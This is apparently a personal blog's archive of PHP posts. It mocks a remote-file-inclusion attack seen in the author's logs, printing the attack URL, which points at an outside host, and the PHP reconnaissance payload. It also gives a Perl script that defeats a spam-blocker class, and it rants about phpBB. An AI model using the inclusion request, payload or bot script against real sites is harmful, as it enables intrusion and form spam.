Selling cookie info to third-parties is a classic example of you can make money without doing evil.
RSS

Script kiddie hacks

2008/12/24 filed under /php

Every now and then, I follow links of dumb script kiddie hacks. If you have a webserver, you probably recognize GET requests like:

index.php?option=com_mtree&task=listcats&cat_id=1792&Itemid=35&mosConfig_absolute_path=http://killearnlakeshoa.org/calendar/includes/.bash/id.txt?

First of all, I run close to no php scripts, so the chances of trying this on my server and actually exploiting some badly written php product are close to zero, but who cares. Let them try.

So, what is this id.txt actually doing? It's usually launching some php code and based on that, the kiddie knows whether to investigate the server further. Still, no problems with that: make my day.

I'm not a php coder, but even I know this is just plain horrible code:

<?
echo "ALBANIA<br />";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br />";
echo "uname -a: $alb<br />";
echo "uptime: $alb2<br />";
echo "id: $alb3<br />";
echo "pwd: $alb4<br />";
echo "user: $alb9<br />";
echo "phpv: $alb6<br />";
echo "SoftWare: $alb5<br />";
echo "ServerName: $alb7<br />";
echo "ServerAddr: $alb8<br />";
echo "UNITED ALBANIANS aka ALBOSS PARADISE<br />";
exit;
?>

Ok, United Albanians, learn to code, then come back and try to hack into my system. It'll take a year or 10 before that happens, so I'm not afraid ;-)

Posted by: B10m | permanent link | comments (2)

PHP coders are the worst

2007/07/07 filed under /php

I've ranted about the horrible PHP in the past enough so I won't yell at it for too much this time. In this post, I'd just like to point out the way of thinking of some (if not most) PHP coders.

As a big Flickr fan, I follow the discussion boards on API usage (I use the Flickr API myself at my Invitr project).

Yesterday, this guy posted the following:

Uploaded some new pics to a set yesterday. They showed up on our flickr page here, but not on our external site. Then this morning I go to check and see if they are visible yet, and I'm greeted with the following error:

Notice: unserialize() [function.unserialize]: Error at offset 0 of 1171 bytes in /home/content/s/g/t/sgtattoo/html/includes/phpFlickr.php on line 238

Here is line 238 from my script:

$this->parsed_response = $this->clean_text_nodes(unserialize($this->response));

Is this one of those things that's going to suddenly start working again in a few hours, or has flickr made some changes they didn't tell us about?

I told him that he should always check and make sure that $this->response really contained the values he was hoping for, but of course, PHP programmers know better:

As far as I'm concerned, error reporting is really only there to aid in initial development. My script has worked fine for the last 6 months, and I haven't touched it since. So this is a Flickr issue, not an issue on our end.

Now this just really angers me! Error reporting is only to aid in initial development? Pffttt ... enough said. I hate PHP and its' users!

TT
Posted by: B10m | permanent link | comments (3)

Form Spam Bot Blocker

2007/04/25 filed under /php

Freshmeat announced a new PHP class today (well, it's version 0.2 so it's not that new actually).

Anyways, a class named Form Spam Bot Blocker simply has to be cool so I gave it a shot. See if it is really good. Unfortunately (and completely predicted), it's not that good.

A few lines of Perl code were enough to fool the example shipped with the class.

#!/usr/bin/perl -w

use strict;
use WWW::Mechanize::Sleepy;

my $mech = new WWW::Mechanize::Sleepy->new(sleep => 5);
$mech->get('http://...../example.php');
$mech->form_number(1);
$mech->submit;

print $mech->content;

And the results:

This was a VALID submission. Your message is: some text

I have to admit that slowing down the input could prevent the dumbest bots out there, yet I believe most spam bots have no problems waiting a few seconds before posting.

Posted by: B10m | permanent link | comments (0)

HTML::BBCode

2005/02/15 filed under /php

Previously I talked about why phpBB sucks. And yet I maintain HTML::BBCode. Unfortunately, this markup system has gained popularity, due to phpBB's popularity. Therefore, a Perl port is handy.

BBCode is just yet-another-markup-"language", similar, but more restrictive than, for instance Markdown or Wiki.

First off, I thought a couple of regexp's would be enough to handle BBCode, but apparently other people started using it and pointed some bugs out. Now I'm working on HTML::BBCode v.1.00 and it's coming along ok. I'm not entirely satisfied with it yet, but soon I'll release the module on CPAN.

But yes, hypocrite that I am, I still believe phpBB and BBCode suck big time ...

Posted by: B10m | permanent link | comments (0)

Why phpBB sucks

2005/01/05 filed under /php

Sometimes I just don't see why products, websites are getting big. A good example is of course Microsoft's Windows, and Internet Explorer but others I don't get are http://www.marktplaats.nl and last but certainly not least: phpBB.

Why is phpBB so bad? Well, to start off, there are these security issues, but that's not all. There are two more things I really dislike about it:

  • No threaded structure
  • Bad privacy protection

No threaded structure

The problem usually isn't too big if there are only a handful of people posting and they keep checking the forum every hour or more often. The problem does arise though, when some people don't check in too often and do want to post replies. Consider the following discussion:

John: "Does anyone know a good restaurant in Cairo?"
Dave: "Oh, sure, there's a boat on the Nile, close to the museum.  Great!"
Alex: "There is a pizza joint in Giza, not too far away by cab."
Dave: "Oh yeah, that one is good too."
Alex: "I love the food there."
Sean: "I didn't like the food on that Nile ship..."

Now Sean is talking about the Nile ship, mentioned by Dave before. Wouldn't it be easier to read if Sean's post was located underneath Dave's post, like this?

John: "Does anyone know a good restaurant in Cairo?"
 |-Dave: "Oh, sure, there's a boat on the Nile, close to the museum.  Great!"
 |----Sean: "I didn't like the food on that Nile ship..."
 |-Alex: "There is a pizza joint in Giza, not too far away by cab."
 |----Dave: "Oh yeah, that one is good too."
 \-------Alex: "I love the food there."

In this little discussion, you might not see the benefit of such a system, but what if the discussion went on for weeks and you'd have to get 10+ pages back to see the comment the reply was for?

Bad privacy protection

Now let's take a look at for example http://forum.nedlinux.nl/memberlist.php. I don't know this site, I merely googled and found this forum. As you can see, you are allowed to view a list of all members of that forum and you are even allowed to have their email addresses!

First of all, I don't see the need for a memberlist at all, but if you do want to have one, at least protect the email addresses (I believe this is optional in phpBB (now), but far too few sites do so). Secondly, if you're going to have a memberlist, allow it to be viewed by the members only. Non-members have no need to know who's a member and not.

So, to conclude: stop using it! ;)

Posted by: B10m | permanent link | comments (6)
return-member